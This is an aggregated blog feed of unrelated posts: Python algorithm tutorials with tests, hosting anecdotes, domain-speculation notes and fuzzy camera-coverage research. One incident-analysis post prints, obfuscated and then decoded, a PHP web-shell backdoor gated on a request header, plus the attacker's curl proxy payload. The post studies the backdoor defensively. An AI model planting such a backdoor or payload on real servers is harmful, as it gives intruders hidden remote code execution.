Planet WUUG

drush (the drupal shell) is a nice command line tool that I have installed on the server for the wuug drupal project. It has the nice ability to be able to work through a remote instance via ssh --- or so the documentation says --- in my case it fork bombed the server --- the OOM killer played havoc with my server and still failed to slow down the fork bomb. What a mess.

The typical approach to exponentiation of a base b by an exponent n is to repeatedly multiply the base by itself, as such:

This is easy to compute for small values but quickly chokes with very large values.

A faster approach involves converting the exponent into base 2, then multiplying the running total and squaring the base each time a 1-bit is encountered. The python implementation looks like this:

def binary_exponent(base, exponent):
    """\
    Binary Exponentiation
 
    Instead of computing the exponentiation in the traditional way,
    convert the exponent to its reverse binary representation.
 
    Each time a 1-bit is encountered, we multiply the running total by
    the base, then square the base.
    """
    # Convert n to base 2, then reverse it.
    exponent = bin(exponent)[2:][::-1]
 
    result = 1
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            result *= base
        base *= base
    return result

Similarly, the same approach can be taken to perform modular exponentiation against very large exponents:

def modular_exponent(base, exponent, mod):
    """\
    Modular exponentiation through binary decomposition.
 
    We use the same technique as for the binary exponentiation above in
    order to find the modulo of our very large exponent and an arbitrary
    integer mod.
    """
    exponent = bin(exponent)[2:][::-1]
 
    x = 1
    power = base % mod
    for i in range(0, len(exponent)):
        if exponent[i] == '1':
            x = (x * power) % mod
        power = (power ** 2) % mod
    return x

The optimization is especially visible for the modulo operation, since we are working on smaller numbers with each iteration, whereas for simple exponentiation, the CPython interpreter can already optimize the operation.
The speedup for modular exponentiation on my system was in the order of 72x the speed of a simple whereas the the computation of the exponentiation took about the same time in both cases.

Share

Related posts:

1. Algorithms in Python: Binary Operations
2. Algorithms in Python: Base Expansion
3. Extending PostgreSQL with Python

Today I’d like to demonstrate a simple implementation of Kenneth Rosen‘s binary addition and multiplication algorithms as outlined in "Discrete Mathematics and its Applications". Both algorithms are very simple and work the same way we’ve all learned to do decimal additions and multiplications by hand in grade-school.

As usual, I’ve also provided a unit-test suite for each algorithm.

Please note: This is only intended to demonstrate the algorithms. If you are actually trying to do some real work with binary numbers in Python, note that the language itself provides a highly optimized implementation of binary numbers and related operations. Here are a few examples:

# Decimal to binary conversion:
>>> bin(15)
'0b1111'
 
# Binary to decimal conversion:
>>> str(0b1111)
'15'
 
# Binary addition:
>>> bin(0b1111 + 0b10011)
'0b100010'
 
# Binary multiplication:
>>> bin(0b1111 * 0b10011)
'0b100011101'

Binary Addition

We will use strings in this example to represent sequences of bits. The algorithm operates right-to-left, maintaining a carry each time it adds two 1-valued bits.

Code:

"""Simple binary operation algorithm."""
 
import math
 
# a and b should be string representation of the binary components
# You could easily extend this to overload the + operator for binaries,
# but this is already built into python.
def binary_addition(bin_a, bin_b):
    """Performs a binary addition against two provided binary numbers"""
 
    # Pad the components so they are of equal length
    max_length = max(len(bin_a), len(bin_b))
    bin_a, bin_b = bin_a.zfill(max_length), bin_b.zfill(max_length)
 
 
    carry = 0
    result = ''
 
    # Note that we work from right to left
    for i in range(0, max_length)[::-1]:
        tmp = int(math.floor((int(bin_a[i]) + int(bin_b[i]) + carry)/2))
        res = str(int(bin_a[i]) + int(bin_b[i]) + carry - 2*tmp)
        result += res
        carry = tmp
 
    result = (result + str(carry))[::-1]
    try:
        return result[result.index('1'):]
    except ValueError, ex:
        return '0'

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_addition import binary_addition
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary addition against our own"""
 
    def test_add_same_length(self):
 
        """Adding 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """ B has more digits than A """
 
        bin_a = '01000101'
        bin_b = '1110010110101011101101011101000101'
 
        self._compare_additions(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """B has less digits than A"""
 
 
        bin_a = '1110001001001001001101101011000101'
        bin_b = '0110010'
 
        self._compare_additions(bin_a, bin_b)
 
    def _compare_additions(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_add = binary_addition(bin_a, bin_b)
        py_add = bin(eval("0b%s" % bin_a) + eval("0b%s" % bin_b))
 
        algo_res = bin_add[bin_add.index('1'):]
        py_res = py_add[py_add.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Binary Multiplication

We are still using strings to represent bit sequences. We are still working from right to left, shifting to the left every number from the first number that needs to be multiplied by 1 in the second number. We then append the result to a list that we sum at the end, using the previous algorithm.

Code:

"""Simple Binary multiplication algorithm"""
 
 
import sys
import os.path
 
from binary_addition import binary_addition
 
 
def binary_multiplication(bin_a, bin_b):
    """Multiplies two binary numbers by using python lists to
    easily shift digits around"""
 
    temp_result = []
    result = "0"
 
    # Remove any unnecessary padding
    bin_a = bin_a[bin_a.index('1'):]
    bin_b = bin_b[bin_b.index('1'):]
 
    for i in range(0, len(bin_b))[::-1]:
        if bin_b[i] == '1':
            temp_result.append("%s%s" % (bin_a, "0" * (len(bin_b)-i-1)))
        else:
            temp_result.append("0")
 
 
    for val in temp_result:
        result = binary_addition(str(result), str(val))
 
    return result

Unit Test:

"""Unit test for binary_addition.py"""
 
import unittest
from binary_multiplication import binary_multiplication
 
class TestBinaryAddition(unittest.TestCase):
 
    """Comparing python binary multiplication against our own"""
 
    def test_add_same_length(self):
 
        """Multiplying 2 binary numbers of the same length"""
 
        bin_a = '001001101'
        bin_b = '011011010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_simple(self):
 
        """Multiplying 2 simple binary numbers"""
        bin_a = '110'
        bin_b = '101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_larger(self):
 
        """B has more digits than A"""
 
        bin_a = '010'
        bin_b = '111001011000101'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def test_add_b_smaller(self):
 
        """ B has less digits than A """
 
        bin_a = '111001011000101'
        bin_b = '010'
 
        self._compare_multiplications(bin_a, bin_b)
 
    def _compare_multiplications(self, bin_a, bin_b):
 
        """Compares the python implementation against ours"""
 
        bin_mult = binary_multiplication(bin_a, bin_b)
        py_mult = bin(eval("0b%s" % bin_a) * eval("0b%s" % bin_b))
 
        algo_res = bin_mult[bin_mult.index('1'):]
        py_res = py_mult[py_mult.index('1'):]
 
        self.assertEqual(py_res, algo_res)
 
 
 
if '__main__' == __name__:
    unittest.main()

Share

Related posts:

1. Algorithms in Python: Binary exponentiation
2. Algorithms in Python: Base Expansion
3. Extending PostgreSQL with Python

Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:

access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.

After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:

$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');

I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:

$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')

Base 64 decoding this string gives us:

if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b'  and isset($_SERVER['HTTP_X_CODE']))
    @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));

Finally, we’re getting somewhere!

Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):

header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
    echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr)."";
    exit;
}
echo "<$md5_info>".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
    $response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "<$md5_content>$response";
exit;

The definition of the curl_setopt call is as follows:

bool curl_setopt ( resource $ch , int $option , mixed $value )

Let’s break down all of the Curl options we are setting here.  Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:

• Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
• Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
• Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
• Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
• Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
• Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
• Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
• Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
• Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
  • “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
  • “Accept-Language: en-us”: Specifies that we are looking for an English return.
  • “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
  • “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
  • “Expect: “: Indicates that no behavior is required by the client.
  • “Accept-Encoding: “: Indicates that we accept all encoding.
  • “Keep Alive: 115″: Sets a keep-alive timeout of 115.
  • “Referer: <cut for clarity:  see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
• Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
• Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
• Option 10002 (CURLOPT_URL): Sets the URL to fetch.

If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.

It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.

I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.

References and Attributions:

1. PHP: curl_setopt
2. RFC2616: Hypertext Transfer Protocol — HTTP/1.1
3. Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.

I felt it would be helpful to folks interested in Python and studying algorithms, to review some commonly studied algorithms in Computer Science by providing a small description and a Python implementation of each algorithm.

This week, we’ll cover an introductory algorithm for converting from one numeral base to another. Here is the python code:

"""Simple implementation of a base expansion algorithm"""
 
import math
 
def base_expand(base, val):
    """This simple function performs a base-expansion from decimal
    using moduli and a translation table. The translation table is
    a clear limitation here, in that it implies the maximum base
    is 36."""
 
    if (base < 2) or (base > 36):
        raise BaseOutOfBoundsError(base)
 
    trans_table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    res = ''
 
    while val != 0:
        res += trans_table[(int(val % base))]
        val = math.floor(val / base)
    return res[::-1]
 
class BaseOutOfBoundsError(Exception):
    """Base must be between 2 and 36"""
    def __init__(self, val):
        self.val = val
    def __str__(self):
        print "\nInvalid base: %s. Base must be (x | x > 1; x < 37)" % \
            self.val

Here is a unit-test for base_expand.py:

"""Unit tests for base_expansion.py"""
 
import unittest
from base_expansion import base_expand, BaseOutOfBoundsError
 
# Unit tests for base_expansion.py
class TestVals(unittest.TestCase):
    """Test suite"""
 
    def test_known_values(self):
        """Testing against known values"""
 
        vals = [{'val': 8, 'base': 2, 'expect': '1000'},
            {'val': 915652, 'base': 16, 'expect': 'DF8C4'},
            {'val': 256, 'base': 10, 'expect': '256'},
            {'val': 88189, 'base': 8, 'expect': '254175'}]
 
        for val in vals:
            self.assertEqual(val['expect'], \
                base_expand(val['base'], val['val']))
 
    def test_invalid_base(self):
        """ Testing invalid bases """
 
        bases = [1, 37, 50, 100]
        for base in bases:
            self.assertRaises(BaseOutOfBoundsError, base_expand, \
                base, 1)
 
 
 
if '__main__' == __name__:
    unittest.main()

Share

Related posts:

1. Algorithms in Python: Binary Operations
2. Algorithms in Python: Binary exponentiation

Is now up and running. There is basically no content yet, but its all set up.
The server is a dual-processor xeon 2.4ghz, and each cpu is hyper-threaded. It has a redundant power supply as well, and connects to my lan via a gigabit network card.
Its running on a 36gb 160mb/s 10k rpm scsi drive, with 2 x 72gb 160mb/s 10k rpm scsi drives on a hardware pci-X raid card which mirrors these drives.
The mirror holds my mysql database, as well as my svn repo and other things I need a redundant copy of. This mirrored drive is rsync'd to another computer hourly.

read more

I've migrated my server to a dual xeon 2.4ghz gateway server. Unfortunately, all my content has been lost, but there wasn't really alot anyhow :) This server should be fully functional in a few days.

Problem:

Given a line of slope m in the Euclidean plane, what is the slope m’ of the line rotated (counterclockwise) by angle θ?

Solution:

Suppose we have an equation for the line of the form y = mx + b. We can ignore b as it is unrelated to the slope (in effect, we are working in an affine space).

So, y = mx for our purposes. Every point satisfying this equation is a multiple of

and, similarly, every point satisfying the equation y = m’x of the rotated line is a multiple of

Since the latter point is the image of the former after rotation by θ, the points are related by a rotation matrix, like so:

Solving for m’ then yields

which, of course, is our solution in terms of m and θ.

I humbly entreat any analytical intellects of greater constitution than my own (of which, to be sure, there is no dearth) to enlighten me in matters mathematical.

First of all, if I have a 5-dimensional space which consists of a 3-dimensional Euclidean space plus direction (defined by inclination and azimuth) — that is, the set of vectors where , , and — what is that called? Of course, this generalizes to a (2p – 1)-dimensional space with a p-dimensional Euclidean spatial component. I have been calling fuzzy subsets of this space spatial-directional fuzzy sets, but spatial-directional space sounds patently ridiculous.

Second, is it possible to define a useful distance metric in such a space? Chaudhuri and Rosenfeld generalize the Hausdorff distance to arbitrary fuzzy subsets of a metric space, but this is of little use to me if my universal space is not metric. The natural way to define distance between two directions is to use the angle between the corresponding vectors, or similarly a norm on the surface of a torus. The obvious problem is that the numbers used for space and angle bear no relation to one another, so it seems nonsensical to combine them in a single metric (scaling and other such hackery need not apply). Yet, configuration spaces with similar discord among the units of their dimensions abound in engineering. Surely someone has tried to do something like this before?

When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used.  Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.

Coincidentally, I have been reading up on Python lately and have become pretty interested in the language.  For my first script implementation, I decided to explore the 4,4 space in English word .com domains.  I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.

Andrew used a method that included some manual work, which I wanted to avoid.  I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case.  I ended up with 3903 4-letter English words.  This space (3903^2) was far too large to start sending queries out, and also too large to manually edit.  What to do?

I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was.  After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.

Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database.  According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.

The results are pretty interesting, with many (what I would consider) top-term .com domains available.  Here are some of my favorites quickly off of the file (inb4registration):

• thisholy.com
• thatecho.com
• homehide.com
• homemeet.com
• havethem.com

Can we do better?  Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix.  Tomorrow I will try using this information as a factor to my current heuristics.  I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable).  If you have any methods for improvement, I would like to hear them as well.  Leave a note in the comments section.

If there’s any interest, I will post my full list  (it’s hosted on my home computer).  There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.

So my diminutive Acer Aspire One is now running Ubuntu Netbook Edition and seems to like it, although the initial two tries at installing it failed utterly. The second failure was the worst as the system seems to have gotten stuck in a swap storm. It had been installed but was running very slowly, and then had to rush off elsewhere --- on returning a couple of hours later it was writing to the SSD like mad and completely unresponsive. Only a magic SysRq key could give me my system back so I rebooted and only then remembered I had left it doing a software update --- oops, no kernel! How can an installer only a few days old be so out of date?

I had reused some existing partitions in the installer, but not their contents, so I have no idea what the difference was between the final successful install and the disaster immediately before it. Indeed, I expected the final install to be as bad as the others --- I can't remember what I hoped to achieve. Surprisingly the third time worked like a charm. Very odd.

Moblin was running out of steam and they didn't have numpy packaged so I jumped ship ... the day before Meego came out! Talk about timing! Still I don't expect Meego 1.0 is very stable, nor does it possess the pygtk and numpy libraries I want.

In an otherwise generally unremarkable piece in the April 2010 issue of Usenix’s login; magazine (pp. 70-71) listing goofy fake protocols, Robert Ferrell has this gem:

Internet Chaff Relay: The short-lived predecessor to Twitter

In my M.A.Sc. work on stereo camera network calibration, I made use of a series of graphs to describe the relationships between nodes. Existing work had already produced the vision graph and what I will call the transition graph (after Farrell and Davis‘ transition model). In both graphs, each vertex represents a node (camera or camera pair, usually) in the multi-camera network.

The Vision Graph

In a typical sensor network, the sensing modality is simple and omnidirectional, and thus adjacency is a function of proximity. A consequence of this is that the sensing graph is usually a subset of, equal to, or a superset of the communication graph. Therefore, it is usually possible to cheat by initializing the sensing graph model using either physical topology (from, say, GPS) or communication topology.

Camera networks break from this in that their sensing modality is complex and directional, so sensing adjacency has relatively little to do with communication adjacency. Devarajan and Radke realized this early on, and proposed the vision graph. An edge in the vision graph represents information about shared field of view between the two nodes represented by its vertices; there is an edge wherever there is significant overlap of the observed scene. But what does significant mean? Assuming we’re referring to a classic, unweighted graph for the moment, in order for it to be useful, significant must mean that there is sufficient overlap that we can – or at least, that it is reasonable to expect that we could – achieve whatever task is intended for the shared data.

Since every published use of the vision graph I am aware of is a calibration application, let’s talk about that. Originally, Devarajan and Radke had to specify the vision graph manually a priori in order to use it for calibration; a follow-up with Cheng proposed a method to build it by propagating digests of SIFT features from the various images to other nodes. I myself only used it in concept, as a theoretical upper limit for the final calibration graph.

Now, for a digression…

The Transition Graph

Meanwhile, folks working on surveillance and tracking applications were also using a graph formalism – well, in most cases, a reflexive binary relation on the set of nodes that translates trivially into a graph formalism. An edge in the transition graph represents a different, although related, kind of adjacency between the two nodes represented by its vertices: the possibility of a target moving from the field of view of one node to that of the other. This, of course, includes overlapping fields of view, but importantly, it also extends to the non-overlapping case.

It quickly became clear to someone that it was worthwhile to represent not just the possibility, but the probability, of a transition. This may have been an obvious consequence of some of the methods used to actually determine this graph or relation – for example, Marinakis et al. used a Monte Carlo expectation-maximization method, and Farrell and Davis used sequential Bayesian estimation, both probability-oriented. Though intended to properly capture the information presented, it turns out that weighting the graph with these probabilities allows for some good optimization when it comes time to do predictions or camera hand-offs.

The Fuzzy Vision Graph

Seeing this, we thought, what if we similarly retain the uncertainty in the vision graph (rather than thresholding it out on an task-specific basis, as in all prior work) and put it to work optimizing calibration and other applications? Probability is, in general, ill-suited to the job, because we aren’t talking about transitions here. So, we considered another representation of uncertainty: fuzzy sets. A graph is an ordered pair of a set of vertices and a set of edged ; a fuzzy graph (in most definitions) is simply a generalization where and are fuzzy sets.

One nice thing immediately apparent is that, with the inherent, well, fuzziness of fuzzy graphs, there’s no longer any need to set task-specific thresholds in advance when constructing the model; instead of summarily judging whether overlap is significant, we simply capture the degree of significance, which if we really want can be thresholded later via task-specific alpha cuts. Beyond this, a number of opportunities for automatically optimizing various tasks in more advanced ways presented themselves as I poked at the idea. (This is the time when FuzzPy was born.)

The major problem, so far, is that there is no real understanding of what the ideal fuzzy vision graph actually represents. We can build them in various ways: using feature digests like Cheng, for example. But in order to decouple the practical optimization research from the practical modeling research, we need some definition of what a perfect vision graph for a camera network actually is.

Modeling Camera Network Coverage

To approach the problem of modeling the topology of camera coverage overlap, what is really needed is a proper model of camera network coverage. Much of the existing work on this has been developed specifically for optimal camera placement algorithms; it provides some inspiration, but as these models are rather simplistic (discrete, two-dimensional, triangular in shape, etc.) they don’t provide much in the way of an ideal model. Delving deeper, some decades-old work on task-oriented camera placement by Cowan and Kovesi provides an idea for a more realistic model of camera coverage, if you invert it, but is only for single cameras and uses task-specific thresholds.

Coverage, like overlap in the vision graph, is an imprecise concept when it is not tied to a specific task. Hence, fuzzy sets once again presented themselves as a possible framework for the representation: one can assign a membership degree in the set of covered points to every point in three-dimensional Euclidean space. Like Cowan and Kovesi, I identified visibility, focus, and resolution as the major factors in single-camera coverage (in the absence of a priori scene knowledge), developed “trapezoidal” fuzzy sets for each, then combined them via algebraic product fuzzy intersection to get a complete model that, given the intrinsic parameters of a camera and a couple of intuitive application (not necessarily single-task) parameters, would tell me how well any point in its local 3-space is covered. This is called the fuzzy coverage model.

It becomes evident that a fourth factor, direction, is needed when looking at the multi-camera case, where cameras are situated in a common coordinate system based on their extrinsic parameters, and we are interested in part in their field-of-view overlap. If two cameras face the same general volume of space, but from opposite sides, is the volume in common covered by both cameras? If you’re tempted to think yes, consider a task such as feature matching. Cameras can only see opaque surfaces with normals in the interior half-space defined by a plane tangent to the point in question and perpendicular to the principal axis. Furthermore, a number of studies have shown that, in practice, feature matching performance degrades over rotation of the viewpoint. Thus, if we extend our three-dimensional concept of space to include direction as well, making the fuzzy coverage model 5-dimensional, we consider points at the same location in 3-space but with different direction not the same point at all. Some geometry and a fuzzifying parameter gives us another component fuzzy set for the single-camera model, which we can incorporate by algebraic product intersection.

Another major consideration for the multi-camera case, which various work on camera network topology and placement optimization has attempted to tackle, is occlusion from the static scene. This may be known a priori (e.g. CAD layout of a building) or estimated by the camera network itself. It is possible to do this in continuous space, like Tarabanis et al., and so ideally you’d have a complete 3D model of the unoccluded field of view for each camera, and all other points have . However, the complexity seems prohibitive in practice for large camera networks. If we instead move to a discrete representation of the fuzzy coverage model, we can do what I did: make the scene finite, mark a subset of its voxels opaque, then use the voxel traversal of the line from a given point to the principal point of the camera to determine whether it is occluded (i.e. if the traversal includes any opaque voxels).

The easy part is the total network coverage. For simple multi-camera networks, where one camera covering a point (remember, we account for direction implicitly) is enough, simply combine all the appropriately transformed, discretized, and occlusion-ified single-camera coverage models together via standard fuzzy union. For 3D multi-camera networks, where we want at least two cameras covering a point, first generate a coverage model for each pair of cameras via standard fuzzy intersection on the pair, then combine all these via union.

Okay, now what?

